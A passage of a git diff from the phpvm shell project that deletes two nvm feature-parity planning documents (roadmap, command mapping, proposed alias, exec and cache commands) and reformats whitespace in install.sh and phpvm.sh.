-- [ ] `phpvm install <version> --silent` - Silent installation
-- [ ] Support for `latest` keyword
-
-### Enhanced Use Command
-- [ ] `phpvm use <version> --silent` - Silent version switching
-- [ ] `phpvm use <version> --save` - Write to .phpvmrc after switch
-- [ ] Support for partial version matching
-
-### Version Resolution
-- [ ] `phpvm version <pattern>` - Resolve version pattern locally
-- [ ] `phpvm version-remote <pattern>` - Resolve version pattern remotely
-- [ ] Support patterns: "8", "8.2", "latest", "stable"
-- [ ] Smart version matching (e.g., "8" → "8.3.1")
-
-### Shell Integration
-- [ ] `phpvm unload` - Completely unload phpvm from shell
-- [ ] Enhanced unload to remove all functions
-- [ ] Clear all PHPVM_* environment variables
-
-### Package Migration
-- [ ] `phpvm reinstall-packages <source-version>` - Migrate extensions
-- [ ] List extensions from source version
-- [ ] Attempt installation in target version
-- [ ] Report success/failure for each extension
-
-### Debugging
-- [ ] `phpvm debug` - Comprehensive debug information
-- [ ] Show all PHPVM_* variables
-- [ ] Show PATH contents
-- [ ] Show alias list
-- [ ] Show cache information
-
-## 🟢 LOW PRIORITY - Nice to Have
-
-### Pattern Matching
-- [ ] Support partial versions in all commands
-- [ ] `phpvm install latest` - Install latest available
-- [ ] `phpvm install stable` - Install latest stable
-- [ ] `phpvm use 8` - Use latest 8.x installed
-
-### Customization
-- [ ] `phpvm set-colors <codes>` - Customize output colors
-- [ ] User configuration file support
-- [ ] Persistent color preferences
-
-### Silent Mode
-- [ ] Global `--silent` flag support
-- [ ] Silent mode for all commands
-- [ ] Configurable verbosity levels
-
-### Additional Enhancements
-- [ ] `phpvm list --no-colors` - Disable colors in list
-- [ ] `phpvm list --no-alias` - Hide aliases in list
-- [ ] Tab completion for bash/zsh
-- [ ] Man page documentation
-
-## 🎯 phpvm Unique Features (Not in NVM)
-
-These features are already in phpvm but not in nvm:
-
-- [x] `phpvm test` - Built-in comprehensive self-tests
-- [x] `phpvm info` / `phpvm sysinfo` - System information display
-- [x] `phpvm system` - Explicit system version command
-- [x] Multi-package-manager support (apt, dnf, yum, pacman, brew)
-- [x] Repository setup guidance for RHEL/Fedora
-- [x] WSL-specific detection and handling
-- [x] Comprehensive error handling with actionable solutions
-- [x] Timestamped logging
-- [x] Atomic file operations
-
-## Implementation Statistics
-
-### Current Status
-- **Features in phpvm:** 13 commands
-- **Features in nvm:** 22+ commands
-- **Features to add:** 18+ features
-- **Feature parity:** ~60%
-
-### Estimated Effort
-- **HIGH priority:** 4-5 weeks
-- **MEDIUM priority:** 4-5 weeks  
-- **LOW priority:** 2-3 weeks
-- **Total implementation:** 10-12 weeks
-- **Additional code:** ~1500-2000 lines
-- **Testing:** 2-3 weeks
-- **Documentation:** 1 week
-
-## Quick Reference: Command Mapping
-
-| NVM Command | PHPVM Equivalent | Status |
-|-------------|------------------|--------|
-| `nvm install <v>` | `phpvm install <v>` | ✅ Done |
-| `nvm uninstall <v>` | `phpvm uninstall <v>` | ✅ Done |
-| `nvm use <v>` | `phpvm use <v>` | ✅ Done |
-| `nvm current` | `phpvm current` | ✅ Done |
-| `nvm ls` | `phpvm list/ls` | ✅ Done |
-| `nvm ls-remote` | `phpvm ls-remote` | ❌ Missing |
-| `nvm which` | `phpvm which` | ✅ Done |
-| `nvm alias` | `phpvm alias` | ❌ Missing |
-| `nvm unalias` | `phpvm unalias` | ❌ Missing |
-| `nvm exec` | `phpvm exec` | ❌ Missing |
-| `nvm run` | `phpvm run` | ❌ Missing |
-| `nvm deactivate` | `phpvm deactivate` | ✅ Done |
-| `nvm unload` | `phpvm unload` | ❌ Missing |
-| `nvm version` | `phpvm version` | 🟡 Partial |
-| `nvm version-remote` | `phpvm version-remote` | ❌ Missing |
-| `nvm cache` | `phpvm cache` | ❌ Missing |
-| `nvm reinstall-packages` | `phpvm reinstall-packages` | ❌ Missing |
-| `nvm set-colors` | `phpvm set-colors` | ❌ Missing |
-| `nvm debug` | `phpvm debug` | 🟡 Partial (info) |
-| N/A | `phpvm test` | ✅ Unique |
-| N/A | `phpvm system` | ✅ Unique |
-| N/A | `phpvm auto` | ✅ Unique |
-
-## Legend
-
-- ✅ **Done** - Feature fully implemented
-- 🟡 **Partial** - Feature partially implemented
-- ❌ **Missing** - Feature not implemented
-- 🔴 **HIGH** - Essential for feature parity
-- 🟡 **MEDIUM** - Important for usability
-- 🟢 **LOW** - Nice to have
-
----
-
-**Last Updated:** 2026-01-04  
-**Document Version:** 1.0  
-**For detailed analysis, see:** [NVM_FEATURE_GAPS.md](./NVM_FEATURE_GAPS.md)
diff --git a/NVM_FEATURE_GAPS.md b/NVM_FEATURE_GAPS.md
deleted file mode 100644
index 3717e01..0000000
--- a/NVM_FEATURE_GAPS.md
+++ /dev/null
@@ -1,599 +0,0 @@
-# NVM Feature Gaps Analysis for phpvm
-
-**Date:** 2026-01-04  
-**Analysis Version:** 1.0  
-**phpvm Version Analyzed:** 1.7.0  
-**nvm Version Reference:** Latest (4662 lines)
-
-## Executive Summary
-
-This document provides a comprehensive analysis of features present in **nvm (Node Version Manager)** that are currently missing from **phpvm (PHP Version Manager)**. The goal is to achieve functional parity between the two tools, making phpvm as feature-complete as nvm.
-
-## Methodology
-
-1. Downloaded and analyzed nvm.sh from the official nvm-sh/nvm repository
-2. Reviewed phpvm.sh source code (2261 lines)
-3. Compared command structures, flags, and capabilities
-4. Categorized features by implementation priority
-5. Identified phpvm-specific advantages
-
-## Current Feature Comparison
-
-### Commands Present in Both Tools
-
-| Feature | NVM Command | PHPVM Command | Status |
-|---------|-------------|---------------|--------|
-| Install version | `nvm install <version>` | `phpvm install <version>` | ✅ |
-| Switch version | `nvm use <version>` | `phpvm use <version>` | ✅ |
-| Uninstall version | `nvm uninstall <version>` | `phpvm uninstall <version>` | ✅ |
-| Show current version | `nvm current` | `phpvm current` | ✅ |
-| Show binary path | `nvm which` | `phpvm which` | ✅ |
-| Deactivate | `nvm deactivate` | `phpvm deactivate` | ✅ |
-| List installed | `nvm ls` | `phpvm list/ls` | ✅ |
-| Help | N/A (built-in) | `phpvm help` | ✅ |
-| Version info | `nvm --version` | `phpvm version` | ✅ |
-
-### Commands Missing from PHPVM
-
-| Priority | NVM Command | Description | Implementation Complexity |
-|----------|-------------|-------------|---------------------------|
-| **HIGH** | `nvm alias <name> <version>` | Create version aliases | Medium |
-| **HIGH** | `nvm unalias <name>` | Remove aliases | Low |
-| **HIGH** | `nvm alias [pattern]` | List aliases | Low |
-| **HIGH** | `nvm ls-remote` | List available versions | High |
-| **HIGH** | `nvm ls-remote <pattern>` | Filter remote versions | High |
-| **HIGH** | `nvm exec <version> <command>` | Execute command with version | Medium |
-| **HIGH** | `nvm run <version> [args]` | Run script with version | Medium |
-| **HIGH** | `nvm cache dir` | Show cache directory | Low |
-| **HIGH** | `nvm cache clear` | Clear cache | Low |
-| **MEDIUM** | `nvm version <version>` | Resolve version locally | Medium |
-| **MEDIUM** | `nvm version-remote <version>` | Resolve version remotely | High |
-| **MEDIUM** | `nvm reinstall-packages <version>` | Migrate packages | High |
-| **MEDIUM** | `nvm unload` | Unload from shell | Low |
-| **MEDIUM** | `nvm debug` | Debug information | Low |
-| **LOW** | `nvm set-colors` | Customize colors | Low |
-| **LOW** | `nvm install-latest-npm` | Upgrade npm equivalent | N/A for PHP |
-
-## Detailed Feature Analysis
-
-### 1. Alias Management System (HIGH PRIORITY)
-
-**Current State:** phpvm has no alias system.
-
-**NVM Implementation:**
-- Stores aliases in `$NVM_DIR/alias/` directory
-- Each alias is a file containing the target version
-- Special aliases: `default`, `node`, `iojs`, `stable`, `unstable`
-- Commands: `alias`, `unalias`, `alias <name> <version>`
-
-**Proposed PHPVM Implementation:**
-```bash
-# Directory structure
-$PHPVM_DIR/alias/          # Alias storage directory
-$PHPVM_DIR/alias/default   # Default PHP version
-$PHPVM_DIR/alias/latest    # Latest installed version
-$PHPVM_DIR/alias/stable    # Latest stable version
-
-# Commands to implement
-phpvm alias [pattern]                  # List all aliases (or matching pattern)
-phpvm alias <name> <version>           # Create/update alias
-phpvm unalias <name>                   # Remove alias
-phpvm use <alias>                      # Use version by alias
-phpvm install <version> --default      # Install and set as default
-
-# Examples
-phpvm alias default 8.2
-phpvm alias production 8.1
-phpvm use default
-phpvm list --aliases  # Show aliases in list output
-```
-
-**Implementation Steps:**
-1. Create `$PHPVM_DIR/alias/` directory structure
-2. Add `phpvm_alias()` function for creating aliases
-3. Add `phpvm_unalias()` function for removing aliases
-4. Add `phpvm_list_aliases()` function for listing
-5. Add `phpvm_resolve_alias()` function for alias resolution
-6. Modify `use_php_version()` to support alias names
-7. Modify `list_installed_versions()` to show aliases
-8. Add tests for alias functionality
-
-**Files to Create/Modify:**
-- Add alias directory initialization in `create_directories()`
-- Add alias functions (approx. 200 lines)
-- Update `main()` case statement
-- Update `print_help()`
-- Add tests in `run_tests()`
-
----
-
-### 2. Remote Version Listing (HIGH PRIORITY)
-
-**Current State:** phpvm cannot list available versions before installation.
-
-**NVM Implementation:**
-- Queries nodejs.org API for available versions
-- Supports filtering by version pattern
-- Shows LTS versions with labels
-- Caches results temporarily
-
-**Proposed PHPVM Implementation:**
-```bash
-# Commands to implement
-phpvm ls-remote                        # List all available PHP versions
-phpvm ls-remote <pattern>              # Filter versions (e.g., "8", "8.2")
-phpvm ls-remote --no-colors            # Disable colored output
-
-# Package manager specific implementations
-# Homebrew: Parse `brew search php@` output
-# APT: Parse `apt-cache search php` output
-# DNF/YUM: Parse `dnf search php` output
-# Pacman: Parse `pacman -Ss php` output
-```
-
-**Implementation Steps:**
-1. Create `phpvm_ls_remote()` function
-2. Implement package-manager-specific queries:
-   - Homebrew: `brew search '/^php@?[0-9.]*$/'`
-   - APT: `apt-cache search '^php[0-9.]*$'`
-   - DNF: `dnf search php --showduplicates`
-   - YUM: `yum search php --showduplicates`
-   - Pacman: `pacman -Ss '^php[0-9.]*$'`
-3. Parse and format output consistently
-4. Add version filtering by pattern
-5. Add caching mechanism (optional)
-6. Handle network/repository errors gracefully
-7. Add color support for output
-
-**Implementation Challenges:**
-- Different package managers have different output formats
-- Some package managers require sudo for cache updates
-- Network connectivity issues
-- Repository availability varies by distribution
-
-**Files to Modify:**
-- Add `phpvm_ls_remote()` function (approx. 150 lines)
-- Add helper functions for parsing outputs
-- Update `main()` case statement
-- Update `print_help()`
-
----
-
-### 3. Command Execution with Version Context (HIGH PRIORITY)
-
-**Current State:** phpvm can only switch versions globally; cannot run commands with specific versions.
-
-**NVM Implementation:**
-- `nvm exec <version> <command>`: Executes any command with version in PATH
-- `nvm run <version> [script] [args]`: Specifically runs node with version
-- Temporarily modifies PATH without affecting shell
-
-**Proposed PHPVM Implementation:**
-```bash
-# Commands to implement
-phpvm exec <version> <command> [args...]    # Execute command with PHP version
-phpvm run <version> [script] [args...]      # Run PHP script with version
-
-# Examples
-phpvm exec 8.2 composer install
-phpvm exec 8.1 php -v
-phpvm run 8.0 script.php arg1 arg2
-phpvm exec 7.4 vendor/bin/phpunit
-
-# With flags
-phpvm exec 8.2 --silent -- composer install
-phpvm run 8.1 --save script.php
-```
-
-**Implementation Steps:**
-1. Create `phpvm_exec()` function
-2. Create `phpvm_run()` function (wrapper around exec)
-3. Implement temporary PATH modification in subshell
-4. Validate version exists before execution
-5. Support alias resolution
-6. Handle command not found errors
-7. Preserve exit codes from executed commands
-8. Support --silent flag
-
-**Implementation Details:**
-```bash
-phpvm_exec() {
-    local version="$1"
-    shift
-    local command="$@"
-    
-    # Validate version exists
-    local php_path=$(phpvm_which "$version")
-    [ $? -ne 0 ] && return 1
-    
-    # Execute in subshell with modified PATH
-    (
-        export PATH="$(dirname "$php_path"):$PATH"
-        exec $command
-    )
-}
-
-phpvm_run() {
-    local version="$1"
-    shift
-    phpvm_exec "$version" php "$@"
-}
-```
-
-**Files to Modify:**
-- Add `phpvm_exec()` and `phpvm_run()` functions (approx. 100 lines)
-- Update `main()` case statement
-- Update `print_help()`
-- Add tests for exec and run
-
----
-
-### 4. Cache Management (HIGH PRIORITY)
-
-**Current State:** phpvm relies entirely on package managers; has no cache directory.
-
-**NVM Implementation:**
-- `$NVM_DIR/cache/` stores downloaded archives
-- `nvm cache dir` shows cache location
-- `nvm cache clear` removes cached files
-- Reduces re-download time
-
-**Proposed PHPVM Implementation:**
-```bash
-# Cache directory structure
-$PHPVM_DIR/cache/              # Main cache directory
-$PHPVM_DIR/cache/archives/     # Downloaded package archives (if applicable)
-$PHPVM_DIR/cache/metadata/     # Version metadata cache
-$PHPVM_DIR/cache/tmp/          # Temporary files
-
-# Commands to implement
-phpvm cache dir                # Show cache directory path
-phpvm cache clear              # Clear all cache
-phpvm cache clear archives     # Clear only archives
-phpvm cache clear metadata     # Clear only metadata
-```
-
-**Implementation Steps:**
-1. Create cache directory structure
-2. Implement `phpvm_cache_dir()` function
-3. Implement `phpvm_cache_clear()` function
-4. Add metadata caching for ls-remote
-5. Add safe deletion with confirmation
-6. Add cache size reporting
-
-**Files to Modify:**
-- Add cache directory creation in `create_directories()`
-- Add `phpvm_cache_dir()` and `phpvm_cache_clear()` (approx. 80 lines)
-- Update `main()` case statement
-- Update `print_help()`
-
----
-
-### 5. Enhanced Install Options (MEDIUM PRIORITY)
-
-**Current State:** `phpvm install` accepts only version number.
-
-**NVM Implementation:**
-- `--alias=<name>`: Set alias after install
-- `--default`: Set as default after install
-- `--save`: Write to .nvmrc after install
-- `--no-progress`: Disable progress bars
-- `--lts`, `--lts=<name>`: Install LTS versions
-
-**Proposed PHPVM Implementation:**
-```bash
-# Enhanced install command
-phpvm install <version> [flags]
-
-# Flags to implement
---alias=<name>     # Set alias after installation
---default          # Set as default version
---save             # Write to .phpvmrc after installation
---silent           # Suppress output
---no-confirm       # Skip confirmations
-
-# Examples
-phpvm install 8.2 --default --save
-phpvm install 8.1 --alias=production
-phpvm install 7.4 --silent
-```
-
-**Implementation Steps:**
-1. Add flag parsing in `install_php()`
-2. Add post-install alias setting
-3. Add post-install .phpvmrc writing
-4. Add confirmation prompts
-5. Add silent mode support
-
----
-
-### 6. Enhanced Use Options (MEDIUM PRIORITY)
-
-**Current State:** `phpvm use` accepts only version number.
-
-**NVM Implementation:**
-- `--silent`: Suppress output
-- `--save`: Write to .nvmrc
-- `--lts`, `--lts=<name>`: Use LTS versions
-
-**Proposed PHPVM Implementation:**
-```bash
-# Enhanced use command
-phpvm use <version> [flags]
-
-# Flags to implement
---silent           # Suppress output
---save             # Write to .phpvmrc in current directory
-
-# Examples
-phpvm use 8.2 --save
-phpvm use default --silent
-phpvm use production --save
-```
-
----
-
-### 7. Version Resolution (MEDIUM PRIORITY)
-
-**Current State:** phpvm requires exact version numbers.
-
-**NVM Implementation:**
-- `nvm version <version>`: Resolve locally
-- `nvm version-remote <version>`: Resolve remotely
-- Supports patterns like "8", "8.x", "lts/*"
-
-**Proposed PHPVM Implementation:**
-```bash
-# Commands to implement
-phpvm version <pattern>         # Resolve pattern to installed version
-phpvm version-remote <pattern>  # Resolve pattern to remote version
-
-# Pattern support
-phpvm version 8              # Returns latest 8.x.x installed
-phpvm version 8.2            # Returns latest 8.2.x installed
-phpvm version latest         # Returns latest installed version
-phpvm version stable         # Returns latest stable version
-
-# Examples
-$ phpvm version 8
-8.3.1
-$ phpvm version-remote 8.2
-8.2.15
-```
-
----
-
-### 8. Package/Extension Migration (MEDIUM PRIORITY)
-
-**Current State:** No extension migration support.
-
-**NVM Implementation:**
-- `nvm reinstall-packages <version>`: Copies global npm packages
-
-**Proposed PHPVM Implementation:**
-```bash
-# Command to implement
-phpvm reinstall-packages <source-version>   # Migrate extensions to current version
-phpvm reinstall-packages <src> <dest>       # Migrate between specific versions
-
-# Example
-phpvm use 8.2
-phpvm reinstall-packages 8.1  # Copy extensions from 8.1 to 8.2
-```
-
-**Implementation Challenges:**
-- PHP extensions are compiled per version
-- Package manager differences (pecl vs apt-get)
-- Extension compatibility varies by PHP version
-- May require recompilation
-
-**Possible Approach:**
-1. List extensions from source version: `php -m`
-2. Filter to installed extensions (exclude bundled)
-3. Attempt to install each in target version
-4. Report success/failure for each extension
-
----
-
-### 9. Unload Command (MEDIUM PRIORITY)
-
-**Current State:** phpvm has `deactivate` but not full unload.
-
-**NVM Implementation:**
-- `nvm unload`: Removes all nvm functions from shell
-- More complete than deactivate
-
-**Proposed PHPVM Implementation:**
-```bash
-# Command to implement
-phpvm unload                   # Completely unload phpvm from shell
-
-# What it should do:
-1. Remove all phpvm functions from shell
-2. Restore original PATH
-3. Unset all PHPVM_* environment variables
-4. Remove phpvm command from shell
-```
-
----
-
-### 10. Debug Command (MEDIUM PRIORITY)
-
-**Current State:** phpvm has `info` command with basic information.
-
-**NVM Implementation:**
-- Shows detailed debugging information
-- Includes versions, paths, shell info, environment variables
-
-**Proposed PHPVM Implementation:**
-```bash
-# Enhanced debug command
-phpvm debug                    # Comprehensive debug output
-
-# Should include:
-- phpvm version
-- phpvm directory
-- Active PHP version
-- All installed versions
-- Shell information ($SHELL, $SHLVL)
-- OS information
-- Package manager information
-- PATH contents
-- All PHPVM_* environment variables
-- Alias list
-- .phpvmrc location and content
-- Cache information
-```
-
----
-
-### 11. Smart Version Pattern Matching (LOW PRIORITY)
-
-**Current State:** Requires exact version like "8.1" or "8.2.1".
-
-**Proposed Enhancement:**
-```bash
-# Smart matching
-phpvm install 8              # Install latest 8.x
-phpvm use 8.2                # Use latest 8.2.x
-phpvm use latest             # Use latest installed
-phpvm install stable         # Install latest stable
-```
-
----
-
-### 12. Color Customization (LOW PRIORITY)
-
-**Current State:** phpvm has fixed colors.
-
-**NVM Implementation:**
-- `nvm set-colors <codes>`: Customize output colors
-- Format: "yMeBg" (yellow, Magenta, etc.)
-
-**Proposed PHPVM Implementation:**
-```bash
-# Command to implement
-phpvm set-colors <color-codes>
-
-# Example
-phpvm set-colors cgYmW  # cyan, green, Yellow, magenta, White
-```
-
----
-
-## Implementation Roadmap
-
-### Phase 1: Core Features (Weeks 1-3)
-1. ✅ Analysis and documentation (Week 1)
-2. Alias management system (Week 2)
-3. Cache management (Week 2)
-4. Command execution (exec, run) (Week 3)
-
-### Phase 2: Remote & Resolution (Weeks 4-6)
-5. Remote version listing (ls-remote) (Week 4-5)
-6. Version resolution (version, version-remote) (Week 6)
-
-### Phase 3: Enhanced Options (Weeks 7-8)
-7. Install flags (--alias, --default, --save) (Week 7)
-8. Use flags (--silent, --save) (Week 7)
-9. Silent mode support across commands (Week 8)
-10. Unload command (Week 8)
-
-### Phase 4: Advanced Features (Weeks 9-10)
-11. Package/extension migration (Week 9)
-12. Debug command enhancement (Week 9)
-13. Smart version pattern matching (Week 10)
-14. Color customization (Week 10)
-
-### Phase 5: Testing & Documentation (Week 11-12)
-15. Comprehensive testing for all new features
-16. Update documentation
-17. Update examples and README
-18. Performance optimization
-19. Security review
-
-## Testing Strategy
-
-### Unit Tests
-- Test each new function independently
-- Mock system calls where appropriate
-- Test error conditions
-- Test edge cases
-
-### Integration Tests
-- Test command combinations
-- Test across different package managers
-- Test on different operating systems
-- Test with different shells
-
-### User Acceptance Tests
-- Test common workflows
-- Test migration from old versions
-- Performance benchmarks
-- User feedback collection
-
-## Backward Compatibility
-
-All new features must maintain backward compatibility:
-- Existing commands must work unchanged
-- New flags must be optional
-- Default behavior must remain consistent
-- Old .phpvmrc files must still work
-
-## Documentation Requirements
-
-For each new feature:
-- Update help text in `print_help()`
-- Update README.md with examples
-- Add to CHANGELOG.md
-- Update CLAUDE.md if needed
-- Add inline code comments
-- Create usage examples
-
-## Success Criteria
-
-phpvm will be considered feature-complete relative to nvm when:
-1. All HIGH priority features are implemented and tested
-2. At least 75% of MEDIUM priority features are implemented
-3. Core functionality matches nvm behavior
-4. All tests pass on supported platforms
-5. Documentation is complete and accurate
-6. Performance is acceptable (no significant slowdown)
-7. User feedback is positive
-
-## Notes and Caveats
-
-### PHP vs Node.js Differences
-- **No LTS concept**: PHP doesn't have official LTS versions like Node.js
-- **Package managers**: PHP relies on system package managers (apt, brew, etc.) while nvm downloads binaries
-- **Extensions**: PHP has compiled extensions (C modules) vs npm packages (JavaScript)
-- **Compilation**: nvm can compile from source; phpvm uses pre-built packages
-
-### Package Manager Limitations
-- **apt/yum/dnf**: Version availability depends on repository configuration
-- **Homebrew**: Limited to versions in Homebrew formulae
-- **pacman**: Arch Linux typically has only current version
-- Some features (like binary caching) may not apply
-
-### Implementation Considerations
-- Maintain cross-platform compatibility (macOS, Linux, WSL)
-- Keep script size manageable (currently ~2300 lines)
-- Preserve excellent error handling
-- Maintain security standards
-- Keep installation simple
-
-## Conclusion
-
-This analysis identifies 15+ major features missing from phpvm that exist in nvm. Implementing these features in priority order will bring phpvm to full feature parity with nvm, making it the most comprehensive PHP version manager available.
-
-**Estimated Total Effort:** 10-12 weeks for full implementation
-**Lines of Code to Add:** Approximately 1500-2000 lines
-**Testing Effort:** 2-3 weeks
-**Documentation Effort:** 1 week
-
----
-
-**Document Version:** 1.0  
-**Last Updated:** 2026-01-04  
-**Prepared by:** GitHub Copilot Analysis  
-**For:** phpvm Project Enhancement
diff --git a/install.sh b/install.sh
index 7dd1bcc..518a6e8 100644
--- a/install.sh
+++ b/install.sh
@@ -4,7 +4,7 @@
     set -e
 
     phpvm_has() {
-        command -v "$1" >/dev/null 2>&1
+        command -v "$1" > /dev/null 2>&1
     }
 
     phpvm_echo() {
@@ -86,7 +86,7 @@
         mkdir -p "$INSTALL_DIR/bin"
 
         phpvm_echo "Downloading phpvm script from $GITHUB_REPO_URL..."
-        phpvm_download "$GITHUB_REPO_URL" >"$INSTALL_DIR/phpvm.sh" || {
+        phpvm_download "$GITHUB_REPO_URL" > "$INSTALL_DIR/phpvm.sh" || {
             phpvm_err "Failed to download phpvm script"
             exit 1
         }
@@ -108,10 +108,10 @@
             # Check shell type and use appropriate syntax
             if echo "$PROFILE" | grep -q "zsh"; then
                 # For zsh - use proper if statement to prevent shell crash
-                printf "\nexport PHPVM_DIR=\"%s\"\nexport PATH=\"\$PHPVM_DIR/bin:\$PATH\"\nif [[ -s \"\$PHPVM_DIR/phpvm.sh\" ]]; then\n  source \"\$PHPVM_DIR/phpvm.sh\"\nfi\n" "$(phpvm_install_dir)" >>"$PROFILE"
+                printf "\nexport PHPVM_DIR=\"%s\"\nexport PATH=\"\$PHPVM_DIR/bin:\$PATH\"\nif [[ -s \"\$PHPVM_DIR/phpvm.sh\" ]]; then\n  source \"\$PHPVM_DIR/phpvm.sh\"\nfi\n" "$(phpvm_install_dir)" >> "$PROFILE"
             else
                 # For bash and others - use POSIX compatible syntax
-                printf "\nexport PHPVM_DIR=\"%s\"\nexport PATH=\"\$PHPVM_DIR/bin:\$PATH\"\n[ -s \"\$PHPVM_DIR/phpvm.sh\" ] && . \"\$PHPVM_DIR/phpvm.sh\"\n" "$(phpvm_install_dir)" >>"$PROFILE"
+                printf "\nexport PHPVM_DIR=\"%s\"\nexport PATH=\"\$PHPVM_DIR/bin:\$PATH\"\n[ -s \"\$PHPVM_DIR/phpvm.sh\" ] && . \"\$PHPVM_DIR/phpvm.sh\"\n" "$(phpvm_install_dir)" >> "$PROFILE"
             fi
         else
             phpvm_warn "Could not detect profile file. Please manually add the following to your shell profile:"
@@ -124,7 +124,8 @@
         # Only source the profile if it exists
         if [ -f "$PROFILE" ]; then
             # Use . instead of source for POSIX compatibility
-            . "$PROFILE" 2>/dev/null || true
+            # shellcheck disable=SC1090
+            . "$PROFILE" 2> /dev/null || true
         fi
 
         phpvm_echo "phpvm installation complete!"
diff --git a/phpvm.sh b/phpvm.sh
index 5e6b5d7..394e61c 100755
--- a/phpvm.sh
+++ b/phpvm.sh
@@ -12,7 +12,7 @@ PHPVM_VERSION="1.7.0"
 PHPVM_TEST_MODE="${PHPVM_TEST_MODE:-false}"
 
 # Fix to prevent shell crash when sourced
-if (return 0 2>/dev/null); then
+if (return 0 2> /dev/null); then
     return 0
 fi
 
@@ -24,13 +24,13 @@ DEBUG=false # Set to true to enable debug logs
 
 # Exit codes for consistent error handling
 # These follow common Unix conventions and provide specific error information
-PHPVM_EXIT_SUCCESS=0           # Operation completed successfully
-PHPVM_EXIT_ERROR=1             # General error
-PHPVM_EXIT_INVALID_ARG=2       # Invalid argument or usage error
-PHPVM_EXIT_NOT_FOUND=3         # Version not found (not available)
-PHPVM_EXIT_NOT_INSTALLED=4     # Version not installed locally
-PHPVM_EXIT_FILE_ERROR=5        # File or permission error
-PHPVM_EXIT_UNKNOWN_CMD=127     # Unknown command
+PHPVM_EXIT_SUCCESS=0       # Operation completed successfully
+PHPVM_EXIT_ERROR=1         # General error
+PHPVM_EXIT_INVALID_ARG=2   # Invalid argument or usage error
+PHPVM_EXIT_NOT_FOUND=3     # Version not found (not available)
+PHPVM_EXIT_NOT_INSTALLED=4 # Version not installed locally
+PHPVM_EXIT_FILE_ERROR=5    # File or permission error
+PHPVM_EXIT_UNKNOWN_CMD=127 # Unknown command
 
 # Cache for command availability checks
 PHPVM_CACHE_PHP_CONFIG=""
@@ -62,7 +62,7 @@ phpvm_has_colors() {
 
     # Check TERM variable
     case "${TERM:-}" in
-        dumb|'') return 1 ;;
+    dumb | '') return 1 ;;
     esac
 
     # Check for NO_COLOR environment variable (https://no-color.org/)
@@ -71,9 +71,9 @@ phpvm_has_colors() {
     fi
 
     # Check tput for color support
-    if command -v tput >/dev/null 2>&1; then
+    if command -v tput > /dev/null 2>&1; then
         local colors
-        colors=$(tput colors 2>/dev/null || echo 0)
+        colors=$(tput colors 2> /dev/null || echo 0)
         [ "$colors" -ge 8 ] && return 0
     fi
 
@@ -120,14 +120,14 @@ phpvm_atomic_write() {
     temp_file="${target_dir}/.phpvm_tmp_$$_$(date +%s)"
 
     # Write content to temp file
-    if ! printf '%s\n' "$content" > "$temp_file" 2>/dev/null; then
-        rm -f "$temp_file" 2>/dev/null
+    if ! printf '%s\n' "$content" > "$temp_file" 2> /dev/null; then
+        rm -f "$temp_file" 2> /dev/null
         return 1
     fi
 
     # Atomically move temp file to target
-    if ! mv -f "$temp_file" "$target_file" 2>/dev/null; then
-        rm -f "$temp_file" 2>/dev/null
+    if ! mv -f "$temp_file" "$target_file" 2> /dev/null; then
+        rm -f "$temp_file" 2> /dev/null
         return 1
     fi
 
@@ -143,11 +143,11 @@ create_directories() {
 
     # Create alias directory for future alias support
     # This directory will store version aliases (e.g., default -> 8.2)
-    mkdir -p "$PHPVM_DIR/alias" 2>/dev/null || true
+    mkdir -p "$PHPVM_DIR/alias" 2> /dev/null || true
 
     # Create cache directory for future caching support
     # This will store metadata and potentially downloaded packages
-    mkdir -p "$PHPVM_DIR/cache" 2>/dev/null || true
+    mkdir -p "$PHPVM_DIR/cache" 2> /dev/null || true
 }
 
 # Get OS information
@@ -157,7 +157,7 @@ get_os_info() {
 
     # Detect macOS version
     if [ "$OS_TYPE" = "Darwin" ]; then
-        if command -v sw_vers >/dev/null 2>&1; then
+        if command -v sw_vers > /dev/null 2>&1; then
             MACOS_VERSION="$(sw_vers -productVersion)"
             MACOS_MAJOR="$(echo "$MACOS_VERSION" | command cut -d. -f1)"
             MACOS_MINOR="$(echo "$MACOS_VERSION" | command cut -d. -f2)"
@@ -167,9 +167,9 @@ get_os_info() {
     # Detect Linux distribution and WSL
     if [ "$OS_TYPE" = "Linux" ]; then
         # Check for WSL (Windows Subsystem for Linux)
-        if [ -f "/proc/version" ] && command grep -qi "microsoft\|WSL" /proc/version 2>/dev/null; then
+        if [ -f "/proc/version" ] && command grep -qi "microsoft\|WSL" /proc/version 2> /dev/null; then
             IS_WSL=true
-            if command grep -qi "wsl2" /proc/version 2>/dev/null; then
+            if command grep -qi "wsl2" /proc/version 2> /dev/null; then
                 WSL_VERSION="2"
             else
                 WSL_VERSION="1"
@@ -216,15 +216,15 @@ detect_system() {
 
     if [ "$OS_TYPE" = "Darwin" ]; then
         PKG_MANAGER="brew"
-        if ! command -v brew >/dev/null 2>&1; then
+        if ! command -v brew > /dev/null 2>&1; then
             phpvm_err "Homebrew is not installed. Please install Homebrew first."
             phpvm_warn "Visit https://brew.sh to install Homebrew."
             return 1
         fi
 
         # Handle different macOS versions and architectures
-        if command -v brew >/dev/null 2>&1; then
-            HOMEBREW_PREFIX=$(brew --config 2>/dev/null | command grep "HOMEBREW_PREFIX" | command cut -d: -f2 | command tr -d ' ' || brew --prefix)
+        if command -v brew > /dev/null 2>&1; then
+            HOMEBREW_PREFIX=$(brew --config 2> /dev/null | command grep "HOMEBREW_PREFIX" | command cut -d: -f2 | command tr -d ' ' || brew --prefix)
         fi
 
         # Fallback for different macOS versions
@@ -246,7 +246,7 @@ detect_system() {
         phpvm_debug "Detected Linux distribution: $LINUX_DISTRO $LINUX_VERSION"
 
         # Debian/Ubuntu family
-        if command -v apt-get >/dev/null 2>&1; then
+        if command -v apt-get > /dev/null 2>&1; then
             PKG_MANAGER="apt"
             PHP_BIN_PATH="/usr/bin"
 
@@ -256,18 +256,18 @@ detect_system() {
                 if [ "$LINUX_DISTRO" = "ubuntu" ] && [ -n "$LINUX_VERSION" ]; then
                     # Ubuntu 20.04+ has different PHP packaging
                     case "$LINUX_VERSION" in
-                        20.*|22.*|24.*)
-                            PHP_PACKAGE_PATTERN="php"
-                            ;;
-                        *)
-                            PHP_PACKAGE_PATTERN="php"
-                            ;;
+                    20.* | 22.* | 24.*)
+                        PHP_PACKAGE_PATTERN="php"
+                        ;;
+                    *)
+                        PHP_PACKAGE_PATTERN="php"
+                        ;;
                     esac
                 fi
             fi
 
         # RHEL/Fedora/CentOS family
-        elif command -v dnf >/dev/null 2>&1; then
+        elif command -v dnf > /dev/null 2>&1; then
             PKG_MANAGER="dnf"
             PHP_BIN_PATH="/usr/bin"
 
@@ -277,7 +277,7 @@ detect_system() {
